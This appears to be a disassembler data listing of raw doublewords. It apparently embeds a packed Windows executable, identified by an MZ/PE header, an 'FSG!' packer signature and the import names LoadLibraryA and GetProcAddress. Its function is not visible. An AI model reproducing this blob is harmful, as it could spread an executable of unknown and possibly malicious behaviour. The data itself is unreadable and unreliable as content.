		dd 70127C89h, 5C486424h, 4C225491h, 893C4444h, 24301234h
		dd 9124482Ch, 4414221Ch, 848B040Ch, 8A9F444h, 22E491ECh
		dd 0D0D844DCh, 0C412C889h, 0B048B824h, 140A891h, 9411CCA0h
		dd 84898C09h, 0F8B96812h, 3A781328h, 0F4566C21h, 58116432h
		dd 75733498h, 16F0624Eh, 679EB69h, 0BB57CD5Ah, 720EFD10h
		dd 5F666974h, 6C4A20A8h, 506B7BE1h, 6E370C4Fh, 34F58F2Ch
		dd 0B79702Fh, 0FF5E4437h, 0D066BC3Ch, 643F611Ch, 796EA26Dh
		dd 25675E70h, 0E407AE51h, 36CD622Eh, 286C6FF8h,	66512D64h
		dd 861B173h, 0A0DF667Bh, 623678A9h, 6F6E3675h, 6C29560Ah
		dd 0D1B68C70h, 0AC3CD2A8h, 79189EDBh, 0FA6D6F20h, 0F364E862h
		dd 40CD7C57h, 0A6046C19h, 0DC408A1Bh, 0B84B690Ah, 0F8D07236h
		dd 75626740h, 32734275h, 88792D6Dh, 721504CAh, 0D6916B58h
		dd 36619D33h, 74890E24h, 10314668h, 10D15E84h, 77627017h
		dd 0A8616DDCh, 0E120359Fh, 9E0D12D1h, 0DB77ABCh, 516EB6D1h
		dd 60687009h, 190A6788h, 6C5F3703h, 0D16179E9h,	0A7E8BB3Ah
		dd 8045D07Ah, 637475E1h, 2E736667h, 414164A3h, 0FA63BEA5h
		dd 705C41FBh, 6049CA67h, 0D8116F6Bh, 4DF376B8h,	825B4799h
		dd 8AF6F2Eh, 0F7402455h, 33E7EF70h, 6E126111h, 0DD108DC4h
		dd 0D0516F64h, 63660A74h, 6F3F552Dh, 78105484h,	8A8B8DCh
		dd 554B756Eh, 0FEF05A8Eh, 3FB0936Fh, 1178759Bh,	3072D436h
		dd 8F80A375h, 85BBFA3Eh, 0AE96DE2h, 2F735067h, 4E678D10h
		dd 29814AC2h, 0B2020D78h, 6821D0BEh, 69140024h,	80286C3Fh
		dd 79AA836Bh, 7096E8B3h, 753890D1h, 65906D56h, 102676B0h
		dd 6D10E113h, 71147379h, 498E726Ch, 4505530h, 29B85A8Ch
		dd 78650810h, 40AA4191h, 0A873DAA9h, 429D15B9h,	709890A9h
		dd 3433F768h, 0CD09E841h, 0EF741A94h, 0FF7354DDh, 8A6029D2h
		dd 0EC6D7950h, 0F76A96Eh, 35E87744h, 19AC776Ah,	47721468h
		dd 147A6708h, 34E8256Ch, 59430841h, 2D09D579h, 10A52871h
		dd 6ECF701Fh, 64768D68h, 39D088FAh, 7AA376BFh, 8D7E1168h
		dd 184A1034h, 3A321067h, 0FFD89B7Ah, 0F5889399h, 0B0770C0Ah
		dd 0E2A00C29h, 0C4087948h, 74996766h, 0F4767AE0h, 810AA75h
		dd 0DE3F44CFh, 180682F1h, 81ED086h, 62774E98h, 7581BCF7h
		dd 82F18386h, 9AF5AE65h, 6AD30D4Dh, 626886F2h, 0DBAA2DEh
		dd 0B70D78A2h, 742C98B2h, 0ADF42CAFh, 20D8612Bh, 28F6FB1Ch
		dd 0A16219D2h, 3A4C5666h, 6A9E7150h, 37AF61D1h,	9FCE3074h
		dd 7674786Ah, 38627889h, 25064C41h, 46A78373h, 0F07AC824h
		dd 20248B66h, 2028DF70h, 0DC88FC8Ah, 2431A618h,	670DCF44h
		dd 0FAE405D6h, 0CE6CFB23h, 997FFF1Ch, 6166F805h, 0FA6E0AA9h
		dd 21681C91h, 3704049Fh, 474CBDB0h, 1059DE5Ch, 0B7FDEA78h
		dd 9ED32F68h, 313058h, 35343332h, 39383736h, 502F2B28h
		dd 7F7F3FBh, 0B2F41B2Dh, 18370668h, 24A4100Eh, 7864910Eh
		dd 74897F2Eh, 7074C9D3h, 2D890A44h, 0A4310818h,	0FDAC831Bh
		dd 5F670922h, 180A1C88h, 5F3D032Dh, 0F10612DBh,	0B907533h
		dd 58388734h, 133048D8h, 749D024Eh, 9BFF6150h, 404C2AD8h
		dd 2E2D0E3Ch, 814215Fh,	0C6A040C8h, 20B16698h, 5C0902B5h
		dd 7328B063h, 710C9070h, 5C34A02Eh, 3A10A12Ah, 240819DFh
		dd 911C5CAFh, 0F0100C09h, 44E822AEh, 208AC4D0h,	3543496Ch
		dd 0E46B582Eh, 0B25F5749h, 63428780h, 4DEA0E89h, 0C100186Dh
		dd 806F3530h, 0F0F57546h, 32705F78h, 4161480Fh,	68A61E68h
		dd 6B390Fh, 44505647h, 85345130h, 1EF750ACh, 0E0B0E872h
		dd 4A4914Ch, 955A4F51h,	0F80C8DB4h, 25E3306Bh, 5124C35Ah
		dd 6F13A74Fh, 0D9B96034h, 397097D1h, 763F7951h,	0F25F30B8h
		dd 0B258CE84h, 5F3B8D1Eh, 0A47068E7h, 0B46455F5h, 20102947h
		dd 0E86D2749h, 0AE785945h, 4A47A851h, 64614DE1h, 8498D77Ah
		dd 0EF30A143h, 2D401E64h, 13078F7h, 181C0100h, 4B034010h
		dd 984E5245h, 1C32334Ch, 786C642Eh, 6538553Ah, 6E2670B0h
		dd 61E47469h, 0F47AD5FFh, 15CC7243h, 0F5531663h, 6F101CD7h
		dd 0F3591E6Eh, 72C34620h, 676CCFFFh, 62374F54h,	45072F6Ah
		dd 0E0736FA3h, 0DF6E6148h, 493CB880h, 10693EE6h, 3077536Ch
		dd 0FD61FA72h, 410F85EEh, 0AF4C180Fh, 8E26DB73h, 3219867Ah
		dd 7808754Dh, 9C571AA6h
		dd 776F6407h, 72764473h, 7940CA9Fh, 454D9E15h, 426C7564h
		dd 6D614E3Eh, 40544291h, 6F436B8Ah, 0D06E753Ch,	94DF500Dh
		dd 3964418Eh, 83C77366h, 0D061DB4Eh, 0F962694Ch, 8C3C9EDAh
		dd 5422CD93h, 488EFEDCh, 1A81E81Fh, 47706372h, 0EAF6E00Dh
		dd 0D89CB68Dh, 0DBF74964h, 0A8C0866Dh, 9740DB0Ah, 70EAA16Ch
		dd 0B866DD4Ah, 41FC7C4Ah, 755BA3FFh, 4248E333h,	6D3C4E29h
		dd 0A416915h, 5A551299h, 0D6482AE6h, 911B4348h,	0EC4E280Ah
		dd 900B7449h, 7214660Eh, 9F1AA54Eh, 76BD7F44h, 7079540Ah
		dd 9D53470Eh, 3C920536h, 44ED450Dh, 542C24B4h, 69453B69h
		dd 20FD1217h, 4848F705h, 0F9536773h, 949F010Fh,	6618D370h
		dd 7847206Fh, 6854CFA0h, 64496A92h, 0DB0DD070h,	33BED651h
		dd 68245070h, 8C594A28h, 0D0784536h, 0EB644811h, 547C6831h
		dd 42FF4C6Fh, 2E937974h, 4A6CC637h, 6411EC01h, 0C453E440h
		dd 92249D27h, 5454D85h,	92506761h, 827028ACh, 0B8663DA1h
		dd 0EE10204Dh, 29567A44h, 0B1284950h, 414F67CEh, 0DD4B6ED4h
		dd 41C89479h, 7551120Eh, 5613761Fh, 190E4D1Ah, 994D4311h
		dd 2F53210Ah, 1A0C1F68h, 2B38CC53h, 0B9C0B401h,	4356534Dh
		dd 5A545452h, 0B8C89175h, 76C86138h, 0EC6E1E66h, 40333F0Eh
		dd 5058A659h, 0E05AEE06h, 74634868h, 69323CD5h,	0BF6B7718h
		dd 57F71877h, 0F6B40E87h, 14DC306Fh, 0EDAD675h,	1608B832h
		dd 795F9D4Bh, 0E7F7F373h, 603A8CD9h, 65734875h,	74366E32h
		dd 1828406Bh, 76260672h, 49382369h, 32DA9940h, 4968D916h
		dd 4C6A89DAh, 6E500720h, 55A66846h, 657C6749h, 890A6F68h
		dd 1D20F177h, 936B8C81h, 453461D2h, 6B672B59h, 86D64121h
		dd 151165BFh, 2E676964h, 65C79241h, 2678205Dh, 62C21211h
		dd 416D756Eh, 93E66362h, 544AEFB0h, 0CE58353Bh,	55ADFA27h
		dd 0CF5DB304h, 1F6C6F3Bh, 1FB23BA6h, 0C26D0467h, 0C6436EC4h
		dd 118673CBh, 6D4D5ED9h, 0D2062749h, 68F2AB17h,	1BC5710Ch
		dd 7433206Ah, 4176D066h, 0B104F41Ah, 0EA6CAE83h, 0F1034C70h
		dd 0DB680123h, 0F5D2379Bh, 72428C68h, 10813348h, 57041178h
		dd 9D5F3253h, 0C20AC1DBh, 48170185h, 12640906h,	6191332h
		dd 4386040Ch, 900B2101h, 6473C834h, 1910320Ch, 860D0C03h
		dd 60350254h, 9609E1D6h, 0F34D9C54h, 1DBC547h, 6675426Ch
		dd 469087C6h, 11A8BF2Fh, 48B2534Dh, 30255220h, 0A4BE0002h
		dd 0AD004001h, 0AD97AD93h, 80B29656h, 0FF80B6A4h, 33F97313h
		dd 7313FFC9h, 0FFC03316h, 0B61F7313h, 10B04180h, 0C01213FFh
		dd 3C75FA73h, 0FFE0EBAAh, 0F6020853h, 7501D983h, 453FF0Eh
		dd 0D1AC26EBh, 132F74E8h, 911AEBC9h, 8E0C148h, 453FFACh
		dd 7D003Dh, 800A7300h, 67305FCh, 777FF883h, 95414102h
		dd 0B6C58Bh, 2BF78B56h,	5EA4F3F0h, 0D68B9DEBh, 7448AD5Eh
		dd 0AD02790Ah, 0F28B5650h, 0AD87EB97h, 0AD465E93h, 13FF5697h
		dd 0C084AC95h, 0EFEFB75h, 579F074h, 0EB50AD46h,	0F0EFE09h
		dd 0FF265D84h, 0FF5556FFh, 0EBAB0453h, 41C933E0h, 0C91313FFh
		dd 0F87213FFh, 75D202C3h, 46168A05h, 3BC3D212h,	12Dh, 0
		dd 54000000h, 3B000001h, 12Dh, 4 dup(0)
		dd 61000000h, 6F000001h, 1, 3 dup(0)
		dd 505A4Dh, 2, 0F0004h,	4550h, 2014Ch, 21475346h, 2 dup(0)
		dd 818E00E0h, 10Bh, 4200h, 6E00h, 0
		dd 12F63h, 1000h, 0Ch, 400000h,	1000h, 200h, 1,	0
		dd 0A0003h, 0
		dd 14000h, 200h, 0
		dd 2, 100000h, 2000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 13028h, 34h,	1Eh dup(0)
		dd 0D000h, 1000h, 5 dup(0)
		dd 0C00000E0h, 2 dup(0)
		dd 6000h, 0E000h, 505Ch, 200h, 3 dup(0)
		dd 0C00000E0h, 4E52454Bh, 32334C45h, 6C6C642Eh,	4C000000h
		dd 4C64616Fh, 61726269h, 417972h, 74654700h, 636F7250h
		dd 72646441h, 737365h, 6 dup(0)
		dd offset word_41301E
		dd offset word_413012
		dd offset dword_413014
		dd 400198h, 401000h, 40E000h, 406001h, 40D001h,	0
		dd offset dword_4030B8+934Ch
		dd 1, 413050h, 0Eh dup(0)
		dd 311738E8h, 0EE6A7070h, 0E3F60C8h, 0BB400569h, 43FDC0E5h
		dd 0C3F20370h, 28269E38h, 53F20EA3h, 0E8D88B06h, 7602FFE3h
		dd 0F71019C1h, 0BB5B0BEBh, 8A068024h, 1888421Ah, 0D98B0040h
		dd 85FFC183h, 0F16675DBh, 0E8896A28h, 309C602h,	0C0E09068h
		dd 0CCE8501Ah, 31611A1h, 71B6210Fh, 10A00280h, 0EC068B55h
		dd 57565351h, 9E0D92Eh,	845F8F9h, 5032F2F2h, 903E3853h
		dd 0C558D9Fh, 565752FCh, 7C8BE61Ch, 5E5F0134h, 0C25D595Bh
		dd 349DC204h, 94B26C91h, 1DECA3Ch, 8C12CC85h, 0D3DF3E45h
		dd 1B5FCA40h, 78CB8BAh,	0C41481A0h, 6F0FE6Ch, 8B240489h
		dd 748D3B06h, 5E82A78h,	1DEB18A7h, 0D2330290h, 190ABB30h
		dd 252F3F7h, 574C00Bh, 1748EDE8h, 30030458h, 0C3460688h
		dd 6CE0A6C6h, 94765644h, 0D440016Dh, 11B98C9Bh,	580BB82h
		dd 87CD33Bh, 0C8AF0F0Ch, 1A7D1043h, 37C18BF8h, 7B8B108h
		dd 5EFF33E8h, 4C3DF485h, 1DC6D89Ah, 0D0D94592h,	0D008E420h
		dd 2B63B850h, 0B961D37Eh, 0EBE0FBDh, 2D06320h, 0F803E9F7h
		dd 69484E4Bh, 0C7288BDCh, 438BC85Dh, 0FC10D41Ah, 0F2F42640h
		dd 0A8C75084h, 0A60370E8h, 68502881h, 820F70DDh, 4A80F824h
		dd 40EA785h, 2BEB8133h,	24C88D54h, 7952480Ch, 4C8B5783h
		dd 0E85118D0h, 861D6952h, 0F0388B0Eh, 45E81552h, 833423Eh
		dd 9941F0B2h, 0A4148D66h, 2999C6FDh, 5101AC68h,	8046E8CAh
		dd 8D646A47h, 0D9FC2494h, 86D641Dh, 0D9F8FA8Ch,	1036A21Bh
		dd 0E60C408Bh, 760AEA10h, 218FA189h, 97140F44h,	0ED3C2254h
		dd 6008FD99h, 9C84F3CFh, 2485C25h, 6A08D469h, 0B8866BDBh
		dd 68BD2710h, 2CC1573h,	40AB5ABDh, 5578CAB6h, 0E8805BC2h
		dd 0ED1C4BB2h, 0ABB8023Dh, 220B52A9h, 6B3040D4h, 125747D4h
		dd 0F5C75EBh, 288794A8h, 0B852100Eh, 37512044h,	6AB08B50h
		dd 51491993h, 40202055h, 0C4D8FACh, 176B3231h, 2D016903h
		dd 99B9118Ah, 0D38B8581h, 93764AB8h, 68F04194h,	0E95613A7h
		dd 34223BF1h, 0C7950F1Ch, 8601E083h, 0C27810F6h, 2375E278h
		dd 8B204490h, 9A4748C6h, 873D3B24h, 0DDE88372h,	549D5467h
		dd 59D2AB81h, 0A2F81CA3h, 5DF6EF29h, 0C3062090h, 8840F48h
		dd 72D243Bh, 2E748C66h,	0F3D0560h, 3B216185h, 32911075h
		dd 0CB56F0Eh, 1D8B1106h, 9521455h, 0E0A2104Dh, 0B1A328E8h
		dd 8C85F2E9h, 19DD2EA8h, 51D801DDh, 52F88B0Fh, 8D14E868h
		dd 0BD405F85h, 8B9FA8F4h, 60042815h, 8DEE83ABh,	37121314h
		dd 95C52793h, 0C2030C06h, 574F4442h, 0DC07FECh,	0F20F883h
		dd 40C7A69Ch, 0E1FCC1FFh, 6074A983h, 4DE84848h,	892C5748h
		dd 7D830C2Fh, 0E537510h, 261E2314h, 0C4B3BD46h,	8C225017h
		dd 0E4C8FE39h, 7613A1D7h, 0A9080814h, 0AFBA5084h, 2B92C91h
		dd 2974C6C2h, 911B5BE8h, 0C12B7D87h, 186FD63Ch,	0B21FEB1Fh
		dd 419A81B4h, 0BA140B42h, 8114241Ch, 0A0620222h, 0E58B45A2h
		dd 0C010B9C1h, 0C4348353h, 83C21EBCh, 1C6840C7h, 11C1D803h
		dd 13666020h, 0F31089DAh, 28E440D2h, 3CC96F33h,	2CE70C92h
		dd 4CDB3021h, 3429331Ch, 2C493821h, 2D1C3002h, 0C2DC8B3Ch
		dd 61524069h, 0DA8D0209h, 4D50653Bh, 0CF8F6404h, 0C1B20ACAh
		dd 522551BDh, 8591026Eh, 8E21300Ch, 0FD0C5DDBh,	4C183476h
		dd 75C50DB2h, 449504E4h, 0CCBDC5Bh, 0D82CEDA4h,	864E8BB8h
		dd 0F519FBA6h, 0FF5EE21h, 6CF80942h, 1BB95186h,	11D92921h
		dd 0A45929ACh, 4460A0Dh, 0BB84A697h, 0CC1695Ch,	6408C683h
		dd 72FBBB34h, 3E30F63h,	3D068CF0h, 359EB108h, 14418368h
		dd 46C803DAh, 9820C281h, 41DB8B02h, 51F9DB30h, 22406673h
		dd 0E8D50B03h, 31ADFABBh, 0E638477Eh, 72322BA4h, 2E10D3AEh
		dd 1A9AC5EAh, 39C7F1F4h, 82737326h, 0F63310FBh,	75B3BF2Ch
		dd 1E157F9h, 3A533D08h,	797F2CE5h, 39F222FEh, 4BEBF610h
		dd 39D016AAh, 46F9722Ch, 11BB3138h, 0FDB2D268h,	0A839E626h
		dd 54C24612h, 0AD294F66h, 1326E1BEh, 0A9227517h, 6C4F4202h
		dd 0A9CA8E59h, 6114D873h, 17FA35CBh, 6072C46Ah,	8262340Ah
		dd 30528505h, 0E8DB33CAh, 88FB7169h, 0E5A37FCBh, 283846B2h
		dd 8E054921h, 0CD7B8D39h, 68E5FA5Dh, 51084C64h,	0A11044E4h
		dd 12EF0329h, 108445D2h, 0ABA89E9h, 154C88F6h, 3015FB51h
		dd 0DAC4F652h, 1C2A5838h, 74556851h, 1CC544E3h,	0D13737D5h
		dd 501C1291h, 62D85387h, 49BC37ACh, 55C1844Ch, 0E196A4F1h
		dd 52D20384h, 14787097h, 8C365294h, 0C48E3266h,	16C3B853h
		dd 0A659F9E6h, 0EFBA149Eh, 97D99740h, 6147181Dh, 2D5E9C45h
		dd 6390B4D4h, 627C8B55h, 50189249h, 9A10444Bh, 0C548494Fh
		dd 0DA68141Fh, 0A20290ACh, 23313761h, 5237C814h, 0E44E26C8h
		dd 1A684510h, 0E23B2648h, 0FF0636FDh, 0E5106EC0h, 0FB02092h
		dd 5C9AEF82h, 214AF694h, 803F7924h, 0F98308BEh,	6003750Dh
		dd 40421EC6h, 0A891FA81h, 85EB7C02h, 40CD4EDBh,	989B28C5h
		dd 6849FC64h, 0BABE143Bh, 1C7042E9h, 0A0C8F22Fh, 4C3644C7h
		dd 0C166EA9Ah, 3B198536h, 9D93C48Bh, 83BF22F7h,	2A74C560h
		dd 0F8E86AB2h, 0C635618Ah, 73350949h, 0A075CEF5h, 26A33094h
		dd 0B040E65h, 5293C716h, 3265D441h, 0F7F1F10Fh,	0AC43291Ch
		dd 0B372EB1h, 0B36E3B1h, 0B36C1E1h, 8F35EA11h, 433B11ACh
		dd 13D72942h, 0F4C9991h, 0FF6013EAh, 0CE18B8C9h, 5FC48A23h
		dd 0A146BE32h, 0E8FCA333h, 50252721h, 43D90A93h, 584E2335h
		dd 0B4563D42h, 0F605176Eh, 8B37DE03h, 7E1D60E6h, 22FEC82Bh
		dd 7584B98Ch, 5ED64D8Bh, 6D308889h, 8D0102C3h, 0ED85FE6Bh
		dd 0D54C1774h, 486BC628h, 53500E50h, 0AE6DE80Eh, 26DB3769h
		dd 44AB3CC7h, 34BD0404h, 2922338Ch, 644B93B9h, 8804543Dh
		dd 41BB1B08h, 41527h, 64FF8342h, 568C2A0Fh, 51082C2h, 0EA4AA0CCh
		dd 9C71DB5Dh, 0CCBF6984h, 0AC9890AAh, 22947C24h, 93E0B806h
		dd 3FE8140Ch, 8D8395F6h, 0B164D687h, 4657EC9Ah,	1FE2974Bh
		dd 0C645818Eh, 845D0649h, 0FF281B32h, 2792EB9Fh, 7191350Ch
		dd 0D55114B7h, 38944201h, 0D7E91781h, 16FC3308h, 84315214h
		dd 0F863517Ch, 0A752E4Ch, 3C52FF10h, 666A1621h,	7C3299CFh
		dd 0C543950h, 0FF120AD8h, 12741C51h, 8490B2C3h,	353A145Bh
		dd 44A172Ch, 92E83C31h,	22C68853h, 0E9E0A236h, 0F908572Ch
		dd 0FB3097EDh, 34044574h, 37D080D0h, 641C886Dh,	0E9204754h
		dd 228D0894h, 65268EAh,	2C63983h, 80ACC0B9h, 0F5750CFFh
		dd 8C1D651h, 55EAD156h,	0A438E948h, 0D12D4465h,	220FEE48h
		dd 44C616F7h, 0BE7A9635h, 0E8888870h, 27334F34h, 1DCD36BDh
		dd 0CCFE7B98h, 962DFD58h, 840F2380h, 6625D9B4h,	50667206h
		dd 334D61F7h, 11238D76h, 5229243Ch, 5014910Fh, 2452557h
		dd 0C43D2A91h, 821632FFh, 0F992E68h, 76B114F0h,	0D128A265h
		dd 942CB140h, 8C304423h, 2D91345Eh, 9E7BCC3Ah, 940F5294h
		dd 480150Ah, 488C889Fh,	33289226h, 0D0794484h, 32D5238Ch
		dd 3F639711h, 2623512Ch, 938490C2h, 0F449EA04h,	92B5E19h
		dd 0DFA69560h, 0F44D4B29h, 0AC472091h, 55167D17h, 3773AE8Ah
		dd 7F1F68FAh, 0ECEB94A9h, 12741A34h, 0CA32BCF2h, 0FB4022Bh
		dd 85700340h, 1DC12439h, 0C820171Eh, 50A84BB6h,	28F50524h
		dd 398A3891h, 31FBE289h, 2A532846h, 9CEC220Fh, 5334C488h
		dd 0D96A7C82h
		dd 274016FEh, 29E05AF9h, 49F4A006h, 0A1DCF280h,	88372864h
		dd 3C923849h, 31556E51h, 0A5E8D144h, 0A866FEFCh, 325C4DF6h
		dd 8777CA5Ah, 0B2845811h, 23746231h, 0D6D2D58Bh, 4C9F3649h
		dd 8D886113h, 5162648Fh, 0E48A0851h, 0D3C5234Ch, 781422C6h
		dd 0F8D10C9h, 91C2AC15h, 2C428E6Ah, 0CE2CCD3Dh,	12581438h
		dd 2D46F014h, 6A0D4B8Ah, 171A4C0h, 870FD63Bh, 90A7657Bh
		dd 1E946CBAh, 6230D913h, 0EA29B35Bh, 0A96B7AA1h, 0FD4A40FBh
		dd 0C23A4821h, 0E2F91DB9h, 2867C41Bh, 483128CFh, 848111F7h
		dd 7D6330BBh, 35EB1115h, 15A6CAF9h, 9C506864h, 14F9C12Bh
		dd 0A2DE1591h, 7F7ACC8Ch, 863C1085h, 5658C177h,	1121C8C4h
		dd 48489473h, 9827A453h, 2343B975h, 845C1154h, 0D962308Ch
		dd 8C2FF330h, 9487B578h, 0A0C815DEh, 217B9CA0h,	0C953C8A6h
		dd 8C8B2215h, 85B77AC8h, 0A4A74410h, 2F493103h,	904CC80Ah
		dd 1358A250h, 54C83AACh, 64625C64h, 8C2FC430h, 91033F21h
		dd 2EEDC42Bh, 218E163Ch, 66112ED8h, 68EE0188h, 0EAEF512Eh
		dd 884C4214h, 2E81C269h, 21549115h, 27604458h, 5C907558h
		dd 6CC464C8h, 182EFC61h, 637F8C81h, 8A25468Ch, 1065154Eh
		dd 319BC832h, 0FB154C39h, 88C82D52h, 28945B27h,	0B9218C9Eh
		dd 125C592Dh, 68421460h, 64598775h, 468C6C0Ch, 91342374h
		dd 2D9B84B0h, 3CC45D63h, 4515A686h, 9A9C0748h, 3271C5C8h
		dd 0C8963315h, 10855F7Ah, 30C6A25Ch, 64852CF1h,	51684864h
		dd 1DD60970h, 74326C64h, 6C187C31h, 0D8232D46h,	0C72CD308h
		dd 0BE798895h, 8A80154Ch, 62FC9C05h, 1599A9C8h,	0C863146Bh
		dd 6428D497h, 88FF1185h, 38B6E429h, 0A70896Ch, 0C33A7821h
		dd 428674ACh, 845A647Ch, 0CB44CEB3h, 102C46A1h,	8C80413h
		dd 1E2BCAE2h, 788CF37Dh, 352184B5h, 15DE9404h, 0CBA3A0C8h
		dd 44A1CC1Eh, 82E2646Ch, 428D2828h, 0D10CCA01h,	43D5848Bh
		dd 0AB374024h, 40044270h, 3F87201Eh, 69DB4246h,	2265C536h
		dd 690E451Bh, 864164Eh,	7C10749Ah, 0CA024AFBh, 0D0EA8B04h
		dd 23B39556h, 4140AFE9h, 12D39DCh, 886CF08Bh, 0E9120720h
		dd 8CE202C8h, 2A32081Ch, 3B0C4208h, 0E856056Ah,	7AA22CF6h
		dd 7C83100Ch, 771C0808h, 112BB07h, 0DB37D1E2h, 13F0A34h
		dd 75FF85F8h, 0E2189A10h, 0E016D24Dh, 488052E9h, 0B3282012h
		dd 930824D3h, 4610DFBEh, 900C2780h, 0CD66C954h,	0DE542C3Bh
		dd 99F96DFAh, 30432EB3h, 0C8343793h, 7A86386Fh,	645C7A3Ch
		dd 0A9440940h, 0EB208A41h, 6530C0BBh, 627FD250h, 9C2E148Fh
		dd 2216750Ch, 0D9578968h, 70804B62h, 14F1198Bh,	33352A52h
		dd 5740222h, 84FFF883h,	38323E2Ah, 8E6EB416h, 0CC0A2068h
		dd 0EA8360A7h, 0EDE85219h, 561A55E8h, 0C04326Ah, 0AA265477h
		dd 43A043Fh, 0A2BFE31h,	829D9C22h, 728D10ECh, 2C5350D3h
		dd 8B39C5D6h, 84DC0DD8h, 42B55122h, 0D7542E4Dh,	0AF0F158Bh
		dd 100540F7h, 3E9C11Fh,	0E04ED3DDh, 83C8C702h, 418936B2h
		dd 8144EDBh, 0AA1522Eh,	0C1C05410h, 0C28302E2h,	820D42D2h
		dd 2D911F56h, 224A535Ch, 606EC84Ch, 3BAA43A8h, 64384D8Ch
		dd 3C35888Ah, 53526811h, 78325421h, 6C5B2C6Ah, 464E488Bh
		dd 365A56D5h, 33C87AA1h, 759C4778h, 6D405E7Ch, 144AC41Ah
		dd 2EEB9D2h, 8242339Dh,	612F140h, 0FB29CBE8h, 0FD4883ECh
		dd 66202542h, 2AF22091h, 43065755h, 8AE4EC18h, 3C8A2812h
		dd 20906FB6h, 90BB0E26h, 0A4059358h, 174828DFh,	498E2D44h
		dd 69A994EAh, 0F2C8E4E1h, 16494046h, 0E3C182DDh, 1830C302h
		dd 34505849h, 48AE28AEh, 2210F389h, 514283Ch, 4C411849h
		dd 49B29FCBh, 20C2C8Ah,	0DEE82949h, 0DD926094h,	4A5A91A1h
		dd 4841B91h, 0F5B93D3Eh, 135003F0h, 0E2FD480Eh,	9D8D0FC0h
		dd 0A3B7F27Ch, 0E2648513h, 287F1075h, 6410239Ch, 27281EC4h
		dd 27DAE2C8h, 0C37D8302h, 8B1D9858h, 0E8107F45h, 510C274Dh
		dd 6611DE6Bh, 0E8156240h, 0E90A8CBAh, 4B230863h, 15419206h
		dd 891046C7h, 136BF239h, 59013881h, 0C2BD2A92h,	0C90CBE02h
		dd 2C16877h, 11FC7952h,	0C75B244h, 0DA562680h, 9A171383h
		dd 0D8622751h, 71FF118Ch, 60A91C7Ch, 0D631FB42h, 0B649683Bh
		dd 81225C8Dh, 1014772Eh, 4D5B0CB3h, 2A1D3332h, 0C27C221Fh
		dd 55232243h, 834A1164h, 7740BD5h, 0FAB878C1h, 0B5BD5928h
		dd 0B831719h, 75351547h, 627BB58Fh, 8480655h, 0C1FC1C93h
		dd 44B3E8A4h, 81CF0508h, 1FE8939h, 407609Bh, 0F8B4C777h
		dd 8287D21h, 8D0DC2B9h,	0CD542CBDh, 2F44BE09h, 140CEE18h
		dd 0F3104022h, 6266A539h, 24F5F834h, 0D1952C76h, 0C4881A20h
		dd 829A844h, 47849014h,	4F5C88DAh, 28D963E8h, 1C8F3E08h
		dd 704762F4h, 0A244C088h, 47848C78h, 425888D4h,	42366406h
		dd 0C7382324h, 6A9178F0h, 9C11BCE2h, 1188211Eh,	1354E2CEh
		dd 42366582h, 0C2322320h, 6424F2ECh, 4784B878h,	44848896h
		dd 845078C8h, 1C88FA47h, 0D8A82C47h, 5E89F1E8h,	11B4211Eh
		dd 1180E290h, 4C211EC2h, 18E2F411h, 8D672610h, 91F0E488h
		dd 11B0E258h, 7C211E8Ah, 48E2BC11h, 31AEE11h, 20BEFB8Bh
		dd 1F212168h, 4403898Eh, 0E1C10453h, 8304F5C4h,	0D7F906Dh
		dd 93084B39h, 5F080C43h, 2830B25Ch, 0CD10422Ch,	223C142Ah
		dd 13306917h, 18423309h, 3C281C2Ah, 8521128Ch, 204B0C58h
		dd 3CDC242Ah, 0DD30D4E2h, 9A284299h, 933C2C2Ah,	883028D5h
		dd 30433312h, 3C22342Ah, 2030C854h, 353842B3h, 263C3C2Ah
		dd 9BA430A9h, 2A4042CCh, 843CCA44h, 50950812h, 32484343h
		dd 1C3C4C2Ah, 6F49302Dh, 2A504299h, 673CA954h, 83803032h
		dd 32585312h, 4C3C5C2Ah, 8B18302Ch, 2A604233h, 3B3C5264h
		dd 4C2D306Ah, 2ACC6842h, 0A37C3C6Ch, 1048BA12h,	2AC97053h
		dd 0F6FDE174h, 0BA7885E8h, 428F99D4h, 522D2362h, 810D05h
		dd 0C102517h, 6CE889B3h, 0B2E945C7h, 85051B0Ah,	2808EE48h
		dd 0CF4EB704h, 342E8A90h, 3A0D51BFh, 9924FC08h,	974AAC0h
		dd 0CCCE4817h, 2AEB1968h, 5C69C752h, 8BCF9C01h,	0C24F1494h
		dd 36809D8Eh, 38A11EBh,	74063A09h, 956C6108h, 46472440h
		dd 204FAC43h, 3B0222D2h, 83DF7CF8h, 743DA3BDh, 5A59B520h
		dd 0B54F680Ch, 8825AD28h, 0AC9A7F18h, 22177929h, 4146C85h
		dd 7607958Bh, 184A024Ah, 0F6C4943Eh, 0D0AC1D17h, 1577DBF8h
		dd 97B98437h, 50673B43h, 0E04E09ACh, 0E33BE818h, 2E89D87Bh
		dd 0A74E3C1Dh, 107568C0h, 0D4418A6h, 8B15A1A3h,	5FF81B54h
		dd 5025AC30h, 0AF5B4BBAh, 2491FDDDh, 1EA1285Fh,	39D490F4h
		dd 21B6B756h, 0EC8523Dh, 36221F42h, 6443488Eh, 17E44E21h
		dd 1B8A412Ch, 0C88ABF47h, 7B14C148h, 0FC45004Eh, 588ADB33h
		dd 0F11C304h, 0C1B950B7h, 758029FAh, 0E8E28080h, 9F779468h
		dd 8150078Bh, 0C19BFCE7h, 0DC9E10ECh, 0BC8D2316h, 1D3F501h
		dd 7520FB10h, 2FC6132Ah, 610E91F3h, 64909F70h, 992FE83h
		dd 48129E43h, 0C86522EDh, 0D3D6412Bh, 0AF1A0FB2h, 26BB06A4h
		dd 72928028h, 482286FFh, 535704EDh, 8B2267E8h, 933C514Dh
		dd 2F8A6C8Ch, 0E1ECE809h, 3589F610h, 0FE904F91h, 1DE1BEE1h
		dd 567EDBFCh, 5C28EC1Dh, 5BECD0BDh, 22CB8B85h, 0A280E13h
		dd 0E9453844h, 8BF3214h, 126CAE74h, 0DE189D09h,	0D9A1D10Bh
		dd 88CE269Ah, 406D718Dh
		dd 3D89F87Fh, 210EFF86h, 528B453Fh, 0DE08C11Bh,	51BA11E1h
		dd 366F8625h, 91452462h, 84BF1F1Ch, 36939D82h, 2122CEF3h
		dd 549A8C74h, 855339A5h, 55151521h, 0A07FC81Fh,	750D15ABh
		dd 55DE9F5Bh, 0D2C48352h, 1A8372E0h, 0A3569C1Ch, 2A414219h
		dd 554C6045h, 1521A41Fh, 6058E0F5h, 558B881Fh, 0BE521027h
		dd 2735E568h, 0C49627Bh, 45F6520Bh, 85B5FFE4h, 7014B873h
